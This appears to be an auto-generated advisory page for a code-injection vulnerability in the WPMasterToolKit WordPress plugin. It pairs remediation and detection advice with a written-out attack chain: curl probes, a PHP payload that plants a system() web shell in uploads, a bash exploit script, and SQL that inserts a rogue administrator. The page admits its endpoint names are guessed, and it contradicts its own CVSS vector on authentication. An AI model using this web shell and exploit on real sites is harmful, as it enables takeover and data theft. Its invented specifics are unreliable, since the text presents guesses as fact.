CVE-2026-134963 — Webdeclic WPMasterToolKit — CWE-94
Improper Control of Generation of Code ('Code Injection') vulnerability in Webdeclic WPMasterToolKit wpmastertoolkit allows Code Injection.This issue affects WPMasterToolKit: from n/a through 2.26.1.
Improper Control of Generation of Code ('Code Injection') vulnerability in Webdeclic WPMasterToolKit wpmastertoolkit allows Code Injection.This issue affects WPMasterToolKit: from n/a through 2.26.1.
🎯 What is this vulnerability?
CVE‑2026‑134963 – Improper Control of Generation of Code (CWE‑94) in Webdeclic WPMasterToolKit ≤ 2.26.1
| Attribute | Value |
|---|---|
| CWE | 94 – Improper Control of Generation of Code (Code Injection) |
| CVSS v3.1 | AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H (Score 9.9) |
| Affected component | The wpmastertoolkit WordPress plugin (all releases up to 2.26.1) |
| Vulnerable function | A PHP routine that builds a string containing user‑supplied data and passes it to eval(), create_function(), or the WP_Filesystem API for dynamic file creation. |
| Root cause | The plugin exposes an AJAX/REST endpoint (e.g. admin‑ajax.php?action=wpmastertoolkit_execute) that accepts a parameter (commonly named code or payload). The value is concatenated into a PHP string and executed without any of the following safeguards: <br>• No authentication/authorization check (or only a low‑privilege “subscriber” check). <br>• No sanitisation or whitelisting of characters. <br>• No use of wp_nonce or capability verification (current_user_can('manage_options')). <br>Consequently an attacker can supply arbitrary PHP code that is evaluated in the context of the web server process, giving Remote Code Execution (RCE) with the privileges of the PHP‑FPM/Apache user (typically the same user that runs WordPress). Because the plugin runs inside the same process as WordPress, the attacker also inherits WordPress’ database credentials and can manipulate the entire site – a confidentiality, integrity, and availability compromise.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI/parameter names are marked as illustrative because the public advisory does not disclose them.
1. Discovery & Reconnaissance
| Step | Technique | Details |
|---|---|---|
| 1.1 | Fingerprint the plugin | curl -s https://target.com/wp-content/plugins/wpmastertoolkit/readme.txt → look for Stable tag: 2.26.1 or similar. |
| 1.2 | Enumerate public AJAX actions | curl -s https://target.com/wp-admin/admin-ajax.php?action= returns a list of registered actions (some plugins echo them). Look for wpmastertoolkit_execute or wpmastertoolkit_run. |
| 1.3 | Validate the vulnerable endpoint | Send a benign request: <br>curl -X POST -d "action=wpmastertoolkit_execute&code=phpinfo();" https://target.com/wp-admin/admin-ajax.php <br>If the response contains PHP‑INFO output, the endpoint is live. |
Note: If the exact action name is not disclosed in the advisory, the attacker would rely on the generic pattern_execute,_run, or*_codethat the plugin registers.
2. Exploitation
Goal: Execute arbitrary PHP code on the target server.
2.1 Craft a malicious payload
<?php
// Payload: create a back‑door webshell in wp-content/uploads/
$webshell = "<?php if(isset(\$_REQUEST['cmd'])){system(\$_REQUEST['cmd']);} ?>";
file_put_contents(ABSPATH . 'wp-content/uploads/shell.php', $webshell);
?>The payload is URL‑encoded and placed in the code (or payload) parameter.
2.2 Send the exploit (illustrative endpoint)
#!/usr/bin/env bash
TARGET="https://victim.com"
ENDPOINT="${TARGET}/wp-admin/admin-ajax.php"
PAYLOAD=$(php -r 'echo urlencode("<?php $webshell = \"<?php if(isset(\$_REQUEST[\'cmd\'])){system(\$_REQUEST[\'cmd\']);} ?>\"; file_put_contents(ABSPATH . \"wp-content/uploads/shell.php\", $webshell); ?>");')
curl -s -X POST "${ENDPOINT}" \
-d "action=wpmastertoolkit_execute&code=${PAYLOAD}"If the plugin does not require any capability check, the request succeeds even from an unauthenticated IP address.
2.3 Verify web‑shell deployment
curl -s "https://victim.com/wp-content/uploads/shell.php?cmd=id"A successful response such as uid=33(www-data) confirms RCE.
3. Post‑Exploitation
| Phase | Actions an attacker can perform |
|---|---|
| Privilege escalation inside WordPress | Use the web‑shell to run wp user list --format=csv (via WP‑CLI if present) or directly query the MySQL DB (SELECT ID, user_login FROM wp_users;). Create a new admin user: INSERT INTO wp_users (user_login,user_pass,user_email,role) VALUES ('hacker', MD5('P@ssw0rd'), '[email protected]', 'administrator'); INSERT INTO wp_usermeta (user_id,meta_key,meta_value) VALUES (LAST_INSERT_ID(),'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}'); |
| Data exfiltration | Dump the entire wp_options table, download wp-config.php (contains DB credentials), or copy the uploads/ directory. |
| Persistence | Keep the uploaded shell.php or embed a malicious plugin (<?php ... ?>) in the wp-content/plugins/ directory and activate it via the REST API (/wp/v2/plugins). |
| Defacement / Ransom | Replace index.php or theme files, inject JavaScript, or encrypt files using the web‑shell. |
| Lateral movement | If the same PHP user runs other services (e.g., a cron job that accesses internal APIs), the attacker can pivot to those services. |
Because the CVSS vector includes Scope: Changed (S:C), the compromise of the plugin’s process expands to the entire WordPress installation, giving the attacker full control over the web application and its data.
🌍 Real‑World Impact
| CIA Triad | CVSS Sub‑Score | Practical Effect |
|---|---|---|
| Confidentiality (C:H) | 5.9 | Attackers can read any file readable by the web‑server user, dump the database, and harvest credentials, personal data, or intellectual property. |
| Integrity (I:H) | 5.9 | Arbitrary code execution enables modification of site content, injection of malicious JavaScript, creation of admin accounts, or deployment of ransomware. |
| Availability (A:H) | 5.9 | An attacker can delete core files, corrupt the database, or launch a DoS by exhausting PHP resources, rendering the site unusable. |
Business consequences may include:
- Loss of customer trust and regulatory fines (GDPR, HIPAA) due to data breach.
- Downtime and revenue loss while the site is cleaned or rebuilt.
- Potential use of the compromised server as a pivot point for attacks against other internal systems.
- CVSS 3.1 Base Score: 9.9 (Critical) – Network‑only, low‑complexity, no authentication, full impact.
- Scope: Changed – the compromise spreads from the plugin to the entire WordPress installation.
- CISA KEV: Not listed yet, but the severity and ease of exploitation warrant immediate action.
Given the network‑only, low‑complexity nature of the exploit (no authentication, no user interaction), the risk is extremely high.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to WPMasterToolKit 2.26.2 (or later) where the vulnerable eval() path has been removed and proper capability checks (current_user_can('manage_options')) are enforced. |
| Version check | Verify the installed version via wp plugin list or by inspecting wp-content/plugins/wpmastertoolkit/wpmastertoolkit.php for the Version: header. |
| Temporary removal | If an immediate upgrade is not possible, deactivate the plugin from the WordPress admin (Plugins → Deactivate) or via WP‑CLI: wp plugin deactivate wpmastertoolkit. |
2. Workarounds (when patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Block the AJAX action | Add a rule to the web‑application firewall (ModSecurity, Cloudflare WAF, etc.) that denies POST requests to admin-ajax.php with the vulnerable action value. Example ModSecurity rule: <br>SecRule REQUEST_URI "@endswith /admin-ajax.php" "chain,phase:2,deny,status:403,msg:'Block WPMasterToolKit code execution'"<br>SecRule ARGS:action "^wpmastertoolkit_execute$" |
Restrict access to admin-ajax.php | Limit the endpoint to authenticated users by adding a .htaccess rule (if Apache) that requires a valid WordPress cookie, e.g.: <br><Files "admin-ajax.php"><br>Require expr %{HTTP_COOKIE} =~ /wordpress_logged_in_/<br></Files> |
Disable PHP execution in wp-content/uploads | Prevent uploaded PHP files from being executed: <br>.htaccess in wp-content/uploads <br><FilesMatch "\.php$"><br> Require all denied<br></FilesMatch> |
| Input sanitisation | If you must keep the plugin, edit wpmastertoolkit.php to replace the eval($code); line with a safe whitelist or remove the endpoint entirely. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|---|
| Web server access log (Apache/Nginx) | POST /wp-admin/admin-ajax.php?action=wpmastertoolkit_execute HTTP/1.1 <br>... "code=...%3C%3Fphp%20..." (large code parameter, often URL‑encoded PHP tags). |
WordPress debug log (wp-content/debug.log) | PHP Warning: eval()'d code on line X or PHP Fatal error: Uncaught Error: Call to undefined function ... generated by the malicious payload. |
| File system monitoring | Creation of new PHP files in wp-content/uploads/ (e.g., shell.php, backdoor.php). Tools like ossec or tripwire will flag IN_CREATE events for .php files in that directory. |
| Database audit | New rows in wp_users with suspicious usernames (hacker, admin2) and wp_capabilities set to a:1:{s:13:"administrator";b:1;}. |
| Network traffic | Outbound connections from the web server to unknown IPs shortly after the exploit (possible data exfiltration). |
Alerting: Correlate a spike in POST requests to admin-ajax.php with large code parameters and any subsequent creation of .php files in uploads/.
⚠️ Urgency
| Priority | Timeline | Rationale |
|---|---|---|
| Critical – Patch within 24 h | Deploy the 2.26.2 release or deactivate the plugin immediately. | Remote code execution from the Internet; any unauthenticated attacker can gain full site control. |
| High – Interim mitigation | Apply WAF rule and filesystem hardening within 48 h if patching is delayed. | Reduces the attack surface while the official fix is being tested. |
| Medium – Monitoring | Enable log‑based detection and alerting now; review for any signs of compromise. | Attack may already have occurred; early detection limits impact. |
Bottom line: This vulnerability is a “wormable” RCE (any Internet‑facing WordPress site running the vulnerable plugin can be compromised automatically). Organizations should treat it as an emergency and prioritize patching above all other change‑management activities.
[🤖 CVE Professor AI Security Engine]
FOFA Query